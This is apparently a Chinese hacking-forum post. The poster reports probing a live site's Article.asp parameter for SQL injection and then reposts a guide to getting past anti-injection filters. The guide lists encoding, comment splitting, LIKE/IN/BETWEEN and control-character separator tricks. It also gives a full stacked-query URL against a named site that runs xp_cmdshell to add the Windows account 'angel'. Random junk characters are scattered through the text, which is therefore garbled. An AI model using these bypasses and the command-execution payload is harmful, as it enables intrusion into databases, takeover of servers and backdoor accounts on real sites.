路过这个网站,检测了一下.) d1 \$ [2 q/ G4 V& I8 D
http://www.xxx.cn/Article.asp?ID=117 and 1=1
, n9 O, i/ ~+ ^: R, ~8 a- A% ]直接返回主页1 b" u7 h9 E% j5 s6 j) c7 J8 t
http://www.xxx.cn/Article.asp?ID=117 or 1=1
E# K/ O3 Y: b6 Y直接返回主页$ R1 |! M- r# \) I. V
http://www.xxx.cn/Article.asp?ID=117 or/ M$ M* i* X7 y* w) z: e
没有返回主页 没有过滤or
: ]' F2 X+ ^) n6 d- |' p# M4 y+ f% Zhttp://www.xxx.cn/Article.asp?ID=117 and0 H+ R( n. {8 v6 J3 z% U9 y& D) F4 x
直接返回主页 看来过滤了and
W) Y2 r, S7 i% G, Dhttp://www.xxx.cn/Article.asp?ID=117 or 1
( G Z3 B y# p: D1 q+ M没有返回主页 即没有过滤or 也没有过滤1
6 r* i+ p, t1 h' u3 R: g# f, z& o- Xhttp://www.xxx.cn/Article.asp?ID=117 or 1=12 M& ?( [1 h" ?7 T' n) d8 o
直接返回主页 很明显过滤了等号
4 p% \$ x, j+ q C4 M/ k9 y3 Wor的特性是与and相反的.
# W. H+ }1 q0 N, lor 1=1 爆错 或与原页面不同
, e( z: l* B) }+ p0 aor 1=2 原页面相同7 v, s$ p) A0 r# o2 o! t) q
这样就是一个注入点) d# Q5 c! T; f* A
但他过滤了=号 我就用><号代替=号吧!
, U: E6 D, P; y+ Xor 1<2 很明显是正确的,所以应该与原页面不同
* \% U. m( W# p* ^or 1>2 很明显是错误的,所以应该与原页面相同
9 b7 {' V! a' s9 Q+ @3 |* n2 p然后看看有没有过滤其他的查询语句,比如select.
+ r; f2 w3 H a O& A0 [http://www.xxx.cn/Article.asp?ID=117 select
4 j8 T9 t; {/ g( C, I直接返回主页6 G. @, N# H9 N) W5 S
又迷茫了..
/ k* Z6 P6 n m! p$ y5 E% P5 o( T. L. N9 P3 t
Y0 n4 u# F' } P/ u
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
8 k( y: x* |$ b; A$ c. A" B: U这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧): Z4 U# A, @( R6 i
================================================) S8 b4 b9 N* [2 U9 F
以下是转贴:
0 L. E B9 Q2 w' V+ w- l2 u/ V4 }7 t( v+ e( r5 N2 F, `
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
3 e* i+ c4 P6 ?2 A* s M$ _6 a经过我的收集,大部分的防注入程序都过滤了以下关键字:
( M8 u. K% {1 W2 v0 q7 N- zand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
' d% u# O H8 W# @' U9 Y而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 - r' H Q: I/ M* \; H7 ~" g
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 ) P. o* K; p$ W2 C; i
1、运用编码技术绕过 6 K1 D6 @1 h2 v( s
如URLEncode编码,ASCII编码绕过。例如or 1=1即
# d6 I/ W5 }1 E' Z; F2 Y# _%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ( w |/ t! A1 |- `: z
$ W% R% G( D- q: P% j
2、通过空格绕过 : m, i5 e5 Y9 v+ ^$ |5 n% Y0 e
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
! p' `' k- J8 Eor’ swords’ =‘swords’
2 l( P) k' ?, X2 C,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
# h% m7 | }- `( ?! ?; b3、运用字符串判断代替 ' Z0 `6 Y! W9 H( z: Z* u a! @
用经典的or 1=1判断绕过,如
8 t" e7 J, S: i4 Tor ’swords’ =’swords’ + l. W3 Y$ q- T4 a
,这个方法就是网上在讨论的。
& y0 P1 C/ u/ Y+ B3 q4、通过类型转换修饰符N绕过 ! i, W% Z7 }. C, K1 i
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
1 a4 x: q+ n9 q5、通过+号拆解字符串绕过
% ]7 Q5 U S: R4 O: Y' m效果值得考证,但毕竟是一种方法。如 4 m8 W- { F0 h/ D& f( b
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 3 S' p3 [/ s! |% }3 f' Q' z2 E8 `
3 ~, }9 T9 i2 A$ X6 R2 e5 \2 p
6、通过LIKE绕过
5 t3 z( b' B# @7 r; h+ V- B以前怎么就没想到呢?如or ) s6 @6 z9 p* n
’swords’ LIKE ’sw’
3 G* v2 c/ X; j0 I, L$ [& i3 I!!!显然可以很轻松的绕过
$ c/ f" Z: Q: z3 ]( U5 M# ~“=”“>” 4 ?$ R0 z: P* L3 w
的限制……
7 R+ l3 h; Y3 \/ i7、通过IN绕过 7 ?" J T% i1 G
与上面的LIKE的思路差不多,如 8 g M0 R5 x, K3 z; _
or ’swords’ IN (’swords’)
6 S% [$ M$ n1 C/ R& M0 S. Q! t, v% O3 K8 y" [3 b& X5 {( |
8、通过BETWEEN绕过
0 \1 c4 Q$ x& E# l7 F/ a如
* U1 s$ e9 w0 D7 a' ~8 [or ’swords’ BETWEEN ’rw’ AND ’tw’ 2 W6 [% S' K W$ m" m D+ Y* f4 {6 D
$ F! i2 c5 V6 o9、通过>或者<绕过 # g0 `2 v( W8 L( d6 C
or ’swords’ > ’sw’
3 n% H v! ?) ior ’swords’ < ’tw’ : `% q0 m9 j1 X8 C; s! S, ^$ l
or 1<3
- F& j" X' G& i5 {% S" `……
' V9 z7 o8 \1 R$ j2 k10、运用注释语句绕过
4 z' k2 W/ H1 i* E6 j: P用/**/代替空格,如:
: ^4 c* H x9 D1 q. MUNION /**/ Select /**/user,pwd,from tbluser 3 ^, ~( J# N$ w* U+ q" i
9 S* h$ q$ B9 \' N. T
用/**/分割敏感词,如: 0 F8 V- k' j- M
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 5 h5 d) S7 I/ o9 ^1 F0 E% \& N
2 {+ L$ d3 R% t11、用HEX绕过,一般的IDS都无法检测出来 / O* _1 X; L( U( m% C2 y' g
0x730079007300610064006D0069006E00 =hex(sysadmin) 0 k, Z# z3 w9 ~9 e2 X! v! ^
0x640062005F006F0077006E0065007200 =hex(db_owner) : j: q7 h4 c' k- B- O8 L$ d. p" `
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 9 { M, \* C% @! R8 }# J' [
declare @a sysname 5 G' G1 \" f0 t6 l( C3 @
select @a= 2 ?0 h6 C/ t& R- z9 t
exec master.dbo.xp_cmdshell @a
' T9 {0 t7 M! s& Z, {) {4 v+ v$ ^6 |效果
" @+ T3 v1 N; W. z& O; g( Chttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
3 S g1 G: D8 X" p" h& L3 \
* z- S _/ k3 A; p! Y7 E4 O/ D其中的 K& V3 ?% l: k
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 $ W9 ]/ z7 x7 l J
就是 2 C, A( m0 M8 @8 b- h
“net user angel pass /add”9 R+ |( p2 o7 h1 b% g. \
! R. J& G" B) p: k0 j" L
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
, @) E3 k+ _9 q, B7 ~1 H引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
& R( W1 x7 ]' n' Q% A6 I3 ~' |9 s另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
3 Y* |/ r2 \: VCopy code
5 ?9 R' M4 z& C# s Fselect * from table exec xp_cmdshell'xxxxxxxxxx') _ O. k- y, }7 X4 k( |/ g
% }+ X9 G. S$ w- W: M
" k' A# P1 U3 Z4 }! Dselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'/ x7 M0 b6 j$ a' }8 O4 P8 d6 ?) A
6 _6 v8 `5 s- A, V8 L: j6 h5 q Y$ }; b1 J/ B
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
9 w' h+ C1 v5 |1 ]5 n% z( v/ k; h. t% {4 g
- u7 H# x' N& C& U6 w N1 K. Z0 |select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'& Z3 s8 {- K' {( Y# I8 k, n1 B8 Q
3 s& }6 Y! ] I( `7 \2 P
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?0 z! S H0 |3 {- X/ Y* Y
% o/ ?* k* G+ q; S这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
8 I4 B' g3 B4 r5 [可能大家早就知道了,不管怎么说,发在这里吧!. |$ p; n1 k1 n) |
( y# h: |% R7 `, N' D, a
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
* C$ N$ R7 @" B/ D" X
4 B c. H* ]; }! Q$ w5 J R
) [0 [" L" z; E
, |9 A- [2 f; D1 @6 l对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
/ M, r# }* ~/ g6 b比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? o, W% N* {* w" h+ M
* A" g4 p& j! K |